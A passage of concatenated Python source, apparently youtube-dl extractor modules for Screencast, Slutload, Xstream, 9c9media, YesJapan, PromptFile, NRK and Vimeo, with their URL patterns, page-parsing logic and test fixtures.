            'description': 'Provides a demo of a CommunityViz export to Google Earth, one of the 3D viewing options.',
            'thumbnail': 're:^https?://.*\.(?:gif|jpg)$',
        }
    }, {
        'url': 'http://www.screencast.com/t/X3ddTrYh',
        'md5': '669ee55ff9c51988b4ebc0877cc8b159',
        'info_dict': {
            'id': 'X3ddTrYh',
            'ext': 'wmv',
            'title': 'Toolkit 6 User Group Webinar (2014-03-04) - Default Judgment and First Impression',
            'description': 'md5:7b9f393bc92af02326a5c5889639eab0',
            'thumbnail': 're:^https?://.*\.(?:gif|jpg)$',
        }
    }, {
        'url': 'http://screencast.com/t/aAB3iowa',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        video_url = self._html_search_regex(
            r'<embed name="Video".*?src="([^"]+)"', webpage,
            'QuickTime embed', default=None)

        if video_url is None:
            flash_vars_s = self._html_search_regex(
                r'<param name="flashVars" value="([^"]+)"', webpage, 'flash vars',
                default=None)
            if not flash_vars_s:
                flash_vars_s = self._html_search_regex(
                    r'<param name="initParams" value="([^"]+)"', webpage, 'flash vars',
                    default=None)
                if flash_vars_s:
                    flash_vars_s = flash_vars_s.replace(',', '&')
            if flash_vars_s:
                flash_vars = compat_parse_qs(flash_vars_s)
                video_url_raw = compat_urllib_request.quote(
                    flash_vars['content'][0])
                video_url = video_url_raw.replace('http%3A', 'http:')

        if video_url is None:
            video_meta = self._html_search_meta(
                'og:video', webpage, default=None)
            if video_meta:
                video_url = self._search_regex(
                    r'src=(.*?)(?:$|&)', video_meta,
                    'meta tag video URL', default=None)

        if video_url is None:
            raise ExtractorError('Cannot find video')

        title = self._og_search_title(webpage, default=None)
        if title is None:
            title = self._html_search_regex(
                [r'<b>Title:</b> ([^<]+)</div>',
                 r'class="tabSeperator">></span><span class="tabText">(.+?)<',
                 r'<title>([^<]+)</title>'],
                webpage, 'title')
        thumbnail = self._og_search_thumbnail(webpage)
        description = self._og_search_description(webpage, default=None)
        if description is None:
            description = self._html_search_meta('description', webpage)

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor


class SlutloadIE(InfoExtractor):
    _VALID_URL = r'^https?://(?:\w+\.)?slutload\.com/video/[^/]+/(?P<id>[^/]+)/?$'
    _TEST = {
        'url': 'http://www.slutload.com/video/virginie-baisee-en-cam/TD73btpBqSxc/',
        'md5': '0cf531ae8006b530bd9df947a6a0df77',
        'info_dict': {
            'id': 'TD73btpBqSxc',
            'ext': 'mp4',
            'title': 'virginie baisee en cam',
            'age_limit': 18,
            'thumbnail': 're:https?://.*?\.jpg'
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        webpage = self._download_webpage(url, video_id)

        video_title = self._html_search_regex(r'<h1><strong>([^<]+)</strong>',
                                              webpage, 'title').strip()

        video_url = self._html_search_regex(
            r'(?s)<div id="vidPlayer"\s+data-url="([^"]+)"',
            webpage, 'video URL')
        thumbnail = self._html_search_regex(
            r'(?s)<div id="vidPlayer"\s+.*?previewer-file="([^"]+)"',
            webpage, 'thumbnail', fatal=False)

        return {
            'id': video_id,
            'url': video_url,
            'title': video_title,
            'thumbnail': thumbnail,
            'age_limit': 18
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_iso8601,
    xpath_with_ns,
    xpath_text,
    find_xpath_attr,
)


class XstreamIE(InfoExtractor):
    _VALID_URL = r'''(?x)
                    (?:
                        xstream:|
                        https?://frontend\.xstream\.(?:dk|net)/
                    )
                    (?P<partner_id>[^/]+)
                    (?:
                        :|
                        /feed/video/\?.*?\bid=
                    )
                    (?P<id>\d+)
                    '''
    _TESTS = [{
        'url': 'http://frontend.xstream.dk/btno/feed/video/?platform=web&id=86588',
        'md5': 'd7d17e3337dc80de6d3a540aefbe441b',
        'info_dict': {
            'id': '86588',
            'ext': 'mov',
            'title': 'Otto Wollertsen',
            'description': 'Vestlendingen Otto Fredrik Wollertsen',
            'timestamp': 1430473209,
            'upload_date': '20150501',
        },
    }, {
        'url': 'http://frontend.xstream.dk/ap/feed/video/?platform=web&id=21039',
        'only_matching': True,
    }]

    def _extract_video_info(self, partner_id, video_id):
        data = self._download_xml(
            'http://frontend.xstream.dk/%s/feed/video/?platform=web&id=%s'
            % (partner_id, video_id),
            video_id)

        NS_MAP = {
            'atom': 'http://www.w3.org/2005/Atom',
            'xt': 'http://xstream.dk/',
            'media': 'http://search.yahoo.com/mrss/',
        }

        entry = data.find(xpath_with_ns('./atom:entry', NS_MAP))

        title = xpath_text(
            entry, xpath_with_ns('./atom:title', NS_MAP), 'title')
        description = xpath_text(
            entry, xpath_with_ns('./atom:summary', NS_MAP), 'description')
        timestamp = parse_iso8601(xpath_text(
            entry, xpath_with_ns('./atom:published', NS_MAP), 'upload date'))

        formats = []
        media_group = entry.find(xpath_with_ns('./media:group', NS_MAP))
        for media_content in media_group.findall(xpath_with_ns('./media:content', NS_MAP)):
            media_url = media_content.get('url')
            if not media_url:
                continue
            tbr = int_or_none(media_content.get('bitrate'))
            mobj = re.search(r'^(?P<url>rtmp://[^/]+/(?P<app>[^/]+))/(?P<playpath>.+)$', media_url)
            if mobj:
                formats.append({
                    'url': mobj.group('url'),
                    'play_path': 'mp4:%s' % mobj.group('playpath'),
                    'app': mobj.group('app'),
                    'ext': 'flv',
                    'tbr': tbr,
                    'format_id': 'rtmp-%d' % tbr,
                })
            else:
                formats.append({
                    'url': media_url,
                    'tbr': tbr,
                })
        self._sort_formats(formats)

        link = find_xpath_attr(
            entry, xpath_with_ns('./atom:link', NS_MAP), 'rel', 'original')
        if link is not None:
            formats.append({
                'url': link.get('href'),
                'format_id': link.get('rel'),
                'preference': 1,
            })

        thumbnails = [{
            'url': splash.get('url'),
            'width': int_or_none(splash.get('width')),
            'height': int_or_none(splash.get('height')),
        } for splash in media_group.findall(xpath_with_ns('./xt:splash', NS_MAP))]

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'timestamp': timestamp,
            'formats': formats,
            'thumbnails': thumbnails,
        }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        partner_id = mobj.group('partner_id')
        video_id = mobj.group('id')

        return self._extract_video_info(partner_id, video_id)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    parse_iso8601,
    parse_duration,
    ExtractorError
)


class NineCNineMediaIE(InfoExtractor):
    _VALID_URL = r'9c9media:(?P<destination_code>[^:]+):(?P<id>\d+)'

    def _real_extract(self, url):
        destination_code, video_id = re.match(self._VALID_URL, url).groups()
        api_base_url = 'http://capi.9c9media.com/destinations/%s/platforms/desktop/contents/%s/' % (destination_code, video_id)
        content = self._download_json(api_base_url, video_id, query={
            '$include': '[contentpackages]',
        })
        title = content['Name']
        if len(content['ContentPackages']) > 1:
            raise ExtractorError('multiple content packages')
        content_package = content['ContentPackages'][0]
        stacks_base_url = api_base_url + 'contentpackages/%s/stacks/' % content_package['Id']
        stacks = self._download_json(stacks_base_url, video_id)['Items']
        if len(stacks) > 1:
            raise ExtractorError('multiple stacks')
        stack = stacks[0]
        stack_base_url = '%s%s/manifest.' % (stacks_base_url, stack['Id'])
        formats = []
        formats.extend(self._extract_m3u8_formats(
            stack_base_url + 'm3u8', video_id, 'mp4',
            'm3u8_native', m3u8_id='hls', fatal=False))
        formats.extend(self._extract_f4m_formats(
            stack_base_url + 'f4m', video_id,
            f4m_id='hds', fatal=False))
        mp4_url = self._download_webpage(stack_base_url + 'pd', video_id, fatal=False)
        if mp4_url:
            formats.append({
                'url': mp4_url,
                'format_id': 'mp4',
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': content.get('Desc') or content.get('ShortDesc'),
            'timestamp': parse_iso8601(content.get('BroadcastDateTime')),
            'duration': parse_duration(content.get('BroadcastTime')),
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    HEADRequest,
    get_element_by_attribute,
    parse_iso8601,
)


class YesJapanIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?yesjapan\.com/video/(?P<slug>[A-Za-z0-9\-]*)_(?P<id>[A-Za-z0-9]+)\.html'
    _TEST = {
        'url': 'http://www.yesjapan.com/video/japanese-in-5-20-wa-and-ga-particle-usages_726497834.html',
        'md5': 'f0be416314e5be21a12b499b330c21cf',
        'info_dict': {
            'id': '726497834',
            'title': 'Japanese in 5! #20 - WA And GA Particle Usages',
            'description': 'This should clear up some issues most students of Japanese encounter with WA and GA....',
            'ext': 'mp4',
            'timestamp': 1416391590,
            'upload_date': '20141119',
            'thumbnail': 're:^https?://.*\.jpg$',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)
        title = self._og_search_title(webpage)
        video_url = self._og_search_video_url(webpage)
        description = self._og_search_description(webpage)
        thumbnail = self._og_search_thumbnail(webpage)

        timestamp = None
        submit_info = get_element_by_attribute('class', 'pm-submit-data', webpage)
        if submit_info:
            timestamp = parse_iso8601(self._search_regex(
                r'datetime="([^"]+)"', submit_info, 'upload date', fatal=False, default=None))

        # attempt to resolve the final URL in order to get a proper extension
        redirect_req = HEADRequest(video_url)
        req = self._request_webpage(
            redirect_req, video_id, note='Resolving final URL', errnote='Could not resolve final URL', fatal=False)
        if req:
            video_url = req.geturl()

        formats = [{
            'format_id': 'sd',
            'url': video_url,
        }]

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
            'description': description,
            'timestamp': timestamp,
            'thumbnail': thumbnail,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    ExtractorError,
    sanitized_Request,
    urlencode_postdata,
)


class PromptFileIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?promptfile\.com/l/(?P<id>[0-9A-Z\-]+)'
    _TEST = {
        'url': 'http://www.promptfile.com/l/D21B4746E9-F01462F0FF',
        'md5': 'd1451b6302da7215485837aaea882c4c',
        'info_dict': {
            'id': 'D21B4746E9-F01462F0FF',
            'ext': 'mp4',
            'title': 'Birds.mp4',
            'thumbnail': 're:^https?://.*\.jpg$',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        if re.search(r'<div.+id="not_found_msg".+>(?!We are).+</div>[^-]', webpage) is not None:
            raise ExtractorError('Video %s does not exist' % video_id,
                                 expected=True)

        fields = self._hidden_inputs(webpage)
        post = urlencode_postdata(fields)
        req = sanitized_Request(url, post)
        req.add_header('Content-type', 'application/x-www-form-urlencoded')
        webpage = self._download_webpage(
            req, video_id, 'Downloading video page')

        url = self._html_search_regex(r'url:\s*\'([^\']+)\'', webpage, 'URL')
        title = self._html_search_regex(
            r'<span.+title="([^"]+)">', webpage, 'title')
        thumbnail = self._html_search_regex(
            r'<div id="player_overlay">.*button>.*?<img src="([^"]+)"',
            webpage, 'thumbnail', fatal=False, flags=re.DOTALL)

        formats = [{
            'format_id': 'sd',
            'url': url,
            'ext': determine_ext(title),
        }]
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'formats': formats,
        }






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_urllib_parse_unquote
from ..utils import (
    ExtractorError,
    int_or_none,
    parse_age_limit,
    parse_duration,
)


class NRKBaseIE(InfoExtractor):
    def _real_extract(self, url):
        video_id = self._match_id(url)

        data = self._download_json(
            'http://%s/mediaelement/%s' % (self._API_HOST, video_id),
            video_id, 'Downloading mediaelement JSON')

        title = data.get('fullTitle') or data.get('mainTitle') or data['title']
        video_id = data.get('id') or video_id

        entries = []

        media_assets = data.get('mediaAssets')
        if media_assets and isinstance(media_assets, list):
            def video_id_and_title(idx):
                return ((video_id, title) if len(media_assets) == 1
                        else ('%s-%d' % (video_id, idx), '%s (Part %d)' % (title, idx)))
            for num, asset in enumerate(media_assets, 1):
                asset_url = asset.get('url')
                if not asset_url:
                    continue
                formats = self._extract_akamai_formats(asset_url, video_id)
                if not formats:
                    continue
                self._sort_formats(formats)
                entry_id, entry_title = video_id_and_title(num)
                duration = parse_duration(asset.get('duration'))
                subtitles = {}
                for subtitle in ('webVtt', 'timedText'):
                    subtitle_url = asset.get('%sSubtitlesUrl' % subtitle)
                    if subtitle_url:
                        subtitles.setdefault('no', []).append({
                            'url': compat_urllib_parse_unquote(subtitle_url)
                        })
                entries.append({
                    'id': asset.get('carrierId') or entry_id,
                    'title': entry_title,
                    'duration': duration,
                    'subtitles': subtitles,
                    'formats': formats,
                })

        if not entries:
            media_url = data.get('mediaUrl')
            if media_url:
                formats = self._extract_akamai_formats(media_url, video_id)
                self._sort_formats(formats)
                duration = parse_duration(data.get('duration'))
                entries = [{
                    'id': video_id,
                    'title': title,
                    'duration': duration,
                    'formats': formats,
                }]

        if not entries:
            if data.get('usageRights', {}).get('isGeoBlocked'):
                raise ExtractorError(
                    'NRK har ikke rettigheter til å vise dette programmet utenfor Norge',
                    expected=True)

        conviva = data.get('convivaStatistics') or {}
        series = conviva.get('seriesName') or data.get('seriesTitle')
        episode = conviva.get('episodeName') or data.get('episodeNumberOrDate')

        thumbnails = None
        images = data.get('images')
        if images and isinstance(images, dict):
            web_images = images.get('webImages')
            if isinstance(web_images, list):
                thumbnails = [{
                    'url': image['imageUrl'],
                    'width': int_or_none(image.get('width')),
                    'height': int_or_none(image.get('height')),
                } for image in web_images if image.get('imageUrl')]

        description = data.get('description')

        common_info = {
            'description': description,
            'series': series,
            'episode': episode,
            'age_limit': parse_age_limit(data.get('legalAge')),
            'thumbnails': thumbnails,
        }

        vcodec = 'none' if data.get('mediaType') == 'Audio' else None

        # TODO: extract chapters when https://github.com/rg3/youtube-dl/pull/9409 is merged

        for entry in entries:
            entry.update(common_info)
            for f in entry['formats']:
                f['vcodec'] = vcodec

        return self.playlist_result(entries, video_id, title, description)


class NRKIE(NRKBaseIE):
    _VALID_URL = r'(?:nrk:|https?://(?:www\.)?nrk\.no/video/PS\*)(?P<id>\d+)'
    _API_HOST = 'v8.psapi.nrk.no'
    _TESTS = [{
        # video
        'url': 'http://www.nrk.no/video/PS*150533',
        'md5': '2f7f6eeb2aacdd99885f355428715cfa',
        'info_dict': {
            'id': '150533',
            'ext': 'mp4',
            'title': 'Dompap og andre fugler i Piip-Show',
            'description': 'md5:d9261ba34c43b61c812cb6b0269a5c8f',
            'duration': 263,
        }
    }, {
        # audio
        'url': 'http://www.nrk.no/video/PS*154915',
        # MD5 is unstable
        'info_dict': {
            'id': '154915',
            'ext': 'flv',
            'title': 'Slik høres internett ut når du er blind',
            'description': 'md5:a621f5cc1bd75c8d5104cb048c6b8568',
            'duration': 20,
        }
    }]


class NRKTVIE(NRKBaseIE):
    IE_DESC = 'NRK TV and NRK Radio'
    _VALID_URL = r'https?://(?:tv|radio)\.nrk(?:super)?\.no/(?:serie/[^/]+|program)/(?P<id>[a-zA-Z]{4}\d{8})(?:/\d{2}-\d{2}-\d{4})?(?:#del=(?P<part_id>\d+))?'
    _API_HOST = 'psapi-we.nrk.no'

    _TESTS = [{
        'url': 'https://tv.nrk.no/serie/20-spoersmaal-tv/MUHH48000314/23-05-2014',
        'md5': '4e9ca6629f09e588ed240fb11619922a',
        'info_dict': {
            'id': 'MUHH48000314AA',
            'ext': 'mp4',
            'title': '20 spørsmål 23.05.2014',
            'description': 'md5:bdea103bc35494c143c6a9acdd84887a',
            'duration': 1741,
        },
    }, {
        'url': 'https://tv.nrk.no/program/mdfp15000514',
        'md5': '43d0be26663d380603a9cf0c24366531',
        'info_dict': {
            'id': 'MDFP15000514CA',
            'ext': 'mp4',
            'title': 'Grunnlovsjubiléet - Stor ståhei for ingenting 24.05.2014',
            'description': 'md5:89290c5ccde1b3a24bb8050ab67fe1db',
            'duration': 4605,
        },
    }, {
        # single playlist video
        'url': 'https://tv.nrk.no/serie/tour-de-ski/MSPO40010515/06-01-2015#del=2',
        'md5': 'adbd1dbd813edaf532b0a253780719c2',
        'info_dict': {
            'id': 'MSPO40010515-part2',
            'ext': 'flv',
            'title': 'Tour de Ski: Sprint fri teknikk, kvinner og menn 06.01.2015 (del 2:2)',
            'description': 'md5:238b67b97a4ac7d7b4bf0edf8cc57d26',
        },
        'skip': 'Only works from Norway',
    }, {
        'url': 'https://tv.nrk.no/serie/tour-de-ski/MSPO40010515/06-01-2015',
        'playlist': [{
            'md5': '9480285eff92d64f06e02a5367970a7a',
            'info_dict': {
                'id': 'MSPO40010515-part1',
                'ext': 'flv',
                'title': 'Tour de Ski: Sprint fri teknikk, kvinner og menn 06.01.2015 (del 1:2)',
                'description': 'md5:238b67b97a4ac7d7b4bf0edf8cc57d26',
            },
        }, {
            'md5': 'adbd1dbd813edaf532b0a253780719c2',
            'info_dict': {
                'id': 'MSPO40010515-part2',
                'ext': 'flv',
                'title': 'Tour de Ski: Sprint fri teknikk, kvinner og menn 06.01.2015 (del 2:2)',
                'description': 'md5:238b67b97a4ac7d7b4bf0edf8cc57d26',
            },
        }],
        'info_dict': {
            'id': 'MSPO40010515',
            'title': 'Tour de Ski: Sprint fri teknikk, kvinner og menn',
            'description': 'md5:238b67b97a4ac7d7b4bf0edf8cc57d26',
            'duration': 6947.52,
        },
        'skip': 'Only works from Norway',
    }, {
        'url': 'https://radio.nrk.no/serie/dagsnytt/NPUB21019315/12-07-2015#',
        'only_matching': True,
    }]


class NRKPlaylistIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?nrk\.no/(?!video|skole)(?:[^/]+/)+(?P<id>[^/]+)'

    _TESTS = [{
        'url': 'http://www.nrk.no/troms/gjenopplev-den-historiske-solformorkelsen-1.12270763',
        'info_dict': {
            'id': 'gjenopplev-den-historiske-solformorkelsen-1.12270763',
            'title': 'Gjenopplev den historiske solformørkelsen',
            'description': 'md5:c2df8ea3bac5654a26fc2834a542feed',
        },
        'playlist_count': 2,
    }, {
        'url': 'http://www.nrk.no/kultur/bok/rivertonprisen-til-karin-fossum-1.12266449',
        'info_dict': {
            'id': 'rivertonprisen-til-karin-fossum-1.12266449',
            'title': 'Rivertonprisen til Karin Fossum',
            'description': 'Første kvinne på 15 år til å vinne krimlitteraturprisen.',
        },
        'playlist_count': 5,
    }]

    def _real_extract(self, url):
        playlist_id = self._match_id(url)

        webpage = self._download_webpage(url, playlist_id)

        entries = [
            self.url_result('nrk:%s' % video_id, 'NRK')
            for video_id in re.findall(
                r'class="[^"]*\brich\b[^"]*"[^>]+data-video-id="([^"]+)"',
                webpage)
        ]

        playlist_title = self._og_search_title(webpage)
        playlist_description = self._og_search_description(webpage)

        return self.playlist_result(
            entries, playlist_id, playlist_title, playlist_description)


class NRKSkoleIE(InfoExtractor):
    IE_DESC = 'NRK Skole'
    _VALID_URL = r'https?://(?:www\.)?nrk\.no/skole/?\?.*\bmediaId=(?P<id>\d+)'

    _TESTS = [{
        'url': 'https://www.nrk.no/skole/?page=search&q=&mediaId=14099',
        'md5': '6bc936b01f9dd8ed45bc58b252b2d9b6',
        'info_dict': {
            'id': '6021',
            'ext': 'mp4',
            'title': 'Genetikk og eneggede tvillinger',
            'description': 'md5:3aca25dcf38ec30f0363428d2b265f8d',
            'duration': 399,
        },
    }, {
        'url': 'https://www.nrk.no/skole/?page=objectives&subject=naturfag&objective=K15114&mediaId=19355',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(
            'https://mimir.nrk.no/plugin/1.0/static?mediaId=%s' % video_id,
            video_id)

        nrk_id = self._parse_json(
            self._search_regex(
                r'<script[^>]+type=["\']application/json["\'][^>]*>({.+?})</script>',
                webpage, 'application json'),
            video_id)['activeMedia']['psId']

        return self.url_result('nrk:%s' % nrk_id)






# encoding: utf-8
from __future__ import unicode_literals

import json
import re
import itertools

from .common import InfoExtractor
from ..compat import (
    compat_HTTPError,
    compat_str,
    compat_urlparse,
)
from ..utils import (
    determine_ext,
    ExtractorError,
    InAdvancePagedList,
    int_or_none,
    NO_DEFAULT,
    RegexNotFoundError,
    sanitized_Request,
    smuggle_url,
    std_headers,
    unified_strdate,
    unsmuggle_url,
    urlencode_postdata,
    unescapeHTML,
    parse_filesize,
    try_get,
)


class VimeoBaseInfoExtractor(InfoExtractor):
    _NETRC_MACHINE = 'vimeo'
    _LOGIN_REQUIRED = False
    _LOGIN_URL = 'https://vimeo.com/log_in'

    def _login(self):
        (username, password) = self._get_login_info()
        if username is None:
            if self._LOGIN_REQUIRED:
                raise ExtractorError('No login info available, needed for using %s.' % self.IE_NAME, expected=True)
            return
        self.report_login()
        webpage = self._download_webpage(self._LOGIN_URL, None, False)
        token, vuid = self._extract_xsrft_and_vuid(webpage)
        data = urlencode_postdata({
            'action': 'login',
            'email': username,
            'password': password,
            'service': 'vimeo',
            'token': token,
        })
        login_request = sanitized_Request(self._LOGIN_URL, data)
        login_request.add_header('Content-Type', 'application/x-www-form-urlencoded')
        login_request.add_header('Referer', self._LOGIN_URL)
        self._set_vimeo_cookie('vuid', vuid)
        self._download_webpage(login_request, None, False, 'Wrong login info')

    def _verify_video_password(self, url, video_id, webpage):
        password = self._downloader.params.get('videopassword')
        if password is None:
            raise ExtractorError('This video is protected by a password, use the --video-password option', expected=True)
        token, vuid = self._extract_xsrft_and_vuid(webpage)
        data = urlencode_postdata({
            'password': password,
            'token': token,
        })
        if url.startswith('http://'):
            # vimeo only supports https now, but the user can give an http url
            url = url.replace('http://', 'https://')
        password_request = sanitized_Request(url + '/password', data)
        password_request.add_header('Content-Type', 'application/x-www-form-urlencoded')
        password_request.add_header('Referer', url)
        self._set_vimeo_cookie('vuid', vuid)
        return self._download_webpage(
            password_request, video_id,
            'Verifying the password', 'Wrong password')

    def _extract_xsrft_and_vuid(self, webpage):
        xsrft = self._search_regex(
            r'(?:(?P<q1>["\'])xsrft(?P=q1)\s*:|xsrft\s*[=:])\s*(?P<q>["\'])(?P<xsrft>.+?)(?P=q)',
            webpage, 'login token', group='xsrft')
        vuid = self._search_regex(
            r'["\']vuid["\']\s*:\s*(["\'])(?P<vuid>.+?)\1',
            webpage, 'vuid', group='vuid')
        return xsrft, vuid

    def _set_vimeo_cookie(self, name, value):
        self._set_cookie('vimeo.com', name, value)

    def _vimeo_sort_formats(self, formats):
        # Bitrates are completely broken. Single m3u8 may contain entries in kbps and bps
        # at the same time without actual units specified. This lead to wrong sorting.
        self._sort_formats(formats, field_preference=('preference', 'height', 'width', 'fps', 'format_id'))

    def _parse_config(self, config, video_id):
        # Extract title
        video_title = config['video']['title']

        # Extract uploader, uploader_url and uploader_id
        video_uploader = config['video'].get('owner', {}).get('name')
        video_uploader_url = config['video'].get('owner', {}).get('url')
        video_uploader_id = video_uploader_url.split('/')[-1] if video_uploader_url else None

        # Extract video thumbnail
        video_thumbnail = config['video'].get('thumbnail')
        if video_thumbnail is None:
            video_thumbs = config['video'].get('thumbs')
            if video_thumbs and isinstance(video_thumbs, dict):
                _, video_thumbnail = sorted((int(width if width.isdigit() else 0), t_url) for (width, t_url) in video_thumbs.items())[-1]

        # Extract video duration
        video_duration = int_or_none(config['video'].get('duration'))

        formats = []
        config_files = config['video'].get('files') or config['request'].get('files', {})
        for f in config_files.get('progressive', []):
            video_url = f.get('url')
            if not video_url:
                continue
            formats.append({
                'url': video_url,
                'format_id': 'http-%s' % f.get('quality'),
                'width': int_or_none(f.get('width')),
                'height': int_or_none(f.get('height')),
                'fps': int_or_none(f.get('fps')),
                'tbr': int_or_none(f.get('bitrate')),
            })
        m3u8_url = config_files.get('hls', {}).get('url')
        if m3u8_url:
            formats.extend(self._extract_m3u8_formats(
                m3u8_url, video_id, 'mp4', 'm3u8_native', m3u8_id='hls', fatal=False))

        subtitles = {}
        text_tracks = config['request'].get('text_tracks')
        if text_tracks:
            for tt in text_tracks:
                subtitles[tt['lang']] = [{
                    'ext': 'vtt',
                    'url': 'https://vimeo.com' + tt['url'],
                }]

        return {
            'title': video_title,
            'uploader': video_uploader,
            'uploader_id': video_uploader_id,
            'uploader_url': video_uploader_url,
            'thumbnail': video_thumbnail,
            'duration': video_duration,
            'formats': formats,
            'subtitles': subtitles,
        }


class VimeoIE(VimeoBaseInfoExtractor):
    """Information extractor for vimeo.com."""

    # _VALID_URL matches Vimeo URLs
    _VALID_URL = r'''(?x)
                    https?://
                        (?:
                            (?:
                                www|
                                (?P<player>player)
                            )
                            \.
                        )?
                        vimeo(?P<pro>pro)?\.com/
                        (?!(?:channels|album)/[^/?#]+/?(?:$|[?#])|[^/]+/review/|ondemand/)
                        (?:.*?/)?
                        (?:
                            (?:
                                play_redirect_hls|
                                moogaloop\.swf)\?clip_id=
                            )?
                        (?:videos?/)?
                        (?P<id>[0-9]+)
                        (?:/[\da-f]+)?
                        /?(?:[?&].*)?(?:[#].*)?$
                    '''
    IE_NAME = 'vimeo'
    _TESTS = [
        {
            'url': 'http://vimeo.com/56015672#at=0',
            'md5': '8879b6cc097e987f02484baf890129e5',
            'info_dict': {
                'id': '56015672',
                'ext': 'mp4',
                'title': "youtube-dl test video - \u2605 \" ' \u5e78 / \\ \u00e4 \u21ad \U0001d550",
                'description': 'md5:2d3305bad981a06ff79f027f19865021',
                'upload_date': '20121220',
                'uploader_url': 're:https?://(?:www\.)?vimeo\.com/user7108434',
                'uploader_id': 'user7108434',
                'uploader': 'Filippo Valsorda',
                'duration': 10,
            },
        },
        {
            'url': 'http://vimeopro.com/openstreetmapus/state-of-the-map-us-2013/video/68093876',
            'md5': '3b5ca6aa22b60dfeeadf50b72e44ed82',
            'note': 'Vimeo Pro video (#1197)',
            'info_dict': {
                'id': '68093876',
                'ext': 'mp4',
                'uploader_url': 're:https?://(?:www\.)?vimeo\.com/openstreetmapus',
                'uploader_id': 'openstreetmapus',
                'uploader': 'OpenStreetMap US',
                'title': 'Andy Allan - Putting the Carto into OpenStreetMap Cartography',
                'description': 'md5:fd69a7b8d8c34a4e1d2ec2e4afd6ec30',
                'duration': 1595,
            },
        },
        {
            'url': 'http://player.vimeo.com/video/54469442',
            'md5': '619b811a4417aa4abe78dc653becf511',
            'note': 'Videos that embed the url in the player page',
            'info_dict': {
                'id': '54469442',
                'ext': 'mp4',
                'title': 'Kathy Sierra: Building the minimum Badass User, Business of Software 2012',
                'uploader': 'The BLN & Business of Software',
                'uploader_url': 're:https?://(?:www\.)?vimeo\.com/theblnbusinessofsoftware',
                'uploader_id': 'theblnbusinessofsoftware',
                'duration': 3610,
                'description': None,
            },
        },
        {
            'url': 'http://vimeo.com/68375962',
            'md5': 'aaf896bdb7ddd6476df50007a0ac0ae7',
            'note': 'Video protected with password',
            'info_dict': {
                'id': '68375962',
                'ext': 'mp4',
                'title': 'youtube-dl password protected test video',
                'upload_date': '20130614',
                'uploader_url': 're:https?://(?:www\.)?vimeo\.com/user18948128',
                'uploader_id': 'user18948128',
                'uploader': 'Jaime Marquínez Ferrándiz',
                'duration': 10,
                'description': 'This is "youtube-dl password protected test video" by  on Vimeo, the home for high quality videos and the people who love them.',
            },
            'params': {
                'videopassword': 'youtube-dl',
            },
        },
        {
            'url': 'http://vimeo.com/channels/keypeele/75629013',
            'md5': '2f86a05afe9d7abc0b9126d229bbe15d',
            'info_dict': {
                'id': '75629013',
                'ext': 'mp4',
                'title': 'Key & Peele: Terrorist Interrogation',
                'description': 'md5:8678b246399b070816b12313e8b4eb5c',
                'uploader_url': 're:https?://(?:www\.)?vimeo\.com/atencio',
                'uploader_id': 'atencio',
                'uploader': 'Peter Atencio',
                'upload_date': '20130927',
                'duration': 187,
            },
        },
        {
            'url': 'http://vimeo.com/76979871',
            'note': 'Video with subtitles',
            'info_dict': {
                'id': '76979871',
                'ext': 'mp4',
                'title': 'The New Vimeo Player (You Know, For Videos)',
                'description': 'md5:2ec900bf97c3f389378a96aee11260ea',
                'upload_date': '20131015',
                'uploader_url': 're:https?://(?:www\.)?vimeo\.com/staff',
                'uploader_id': 'staff',
                'uploader': 'Vimeo Staff',
                'duration': 62,
            }
        },
        {
            # from https://www.ouya.tv/game/Pier-Solar-and-the-Great-Architects/
            'url': 'https://player.vimeo.com/video/98044508',
            'note': 'The js code contains assignments to the same variable as the config',
            'info_dict': {
                'id': '98044508',
                'ext': 'mp4',
                'title': 'Pier Solar OUYA Official Trailer',
                'uploader': 'Tulio Gonçalves',
                'uploader_url': 're:https?://(?:www\.)?vimeo\.com/user28849593',
                'uploader_id': 'user28849593',
            },
        },
        {
            # contains original format
            'url': 'https://vimeo.com/33951933',
            'md5': '2d9f5475e0537f013d0073e812ab89e6',
            'info_dict': {
                'id': '33951933',
                'ext': 'mp4',
                'title': 'FOX CLASSICS - Forever Classic ID - A Full Minute',
                'uploader': 'The DMCI',
                'uploader_url': 're:https?://(?:www\.)?vimeo\.com/dmci',
                'uploader_id': 'dmci',
                'upload_date': '20111220',
                'description': 'md5:ae23671e82d05415868f7ad1aec21147',
            },
        },
        {
            # only available via https://vimeo.com/channels/tributes/6213729 and
            # not via https://vimeo.com/6213729
            'url': 'https://vimeo.com/channels/tributes/6213729',
            'info_dict': {
                'id': '6213729',
                'ext': 'mp4',
                'title': 'Vimeo Tribute: The Shining',
                'uploader': 'Casey Donahue',
                'uploader_url': 're:https?://(?:www\.)?vimeo\.com/caseydonahue',
                'uploader_id': 'caseydonahue',
                'upload_date': '20090821',
                'description': 'md5:bdbf314014e58713e6e5b66eb252f4a6',
            },
            'params': {
                'skip_download': True,
            },
            'expected_warnings': ['Unable to download JSON metadata'],
        },
        {
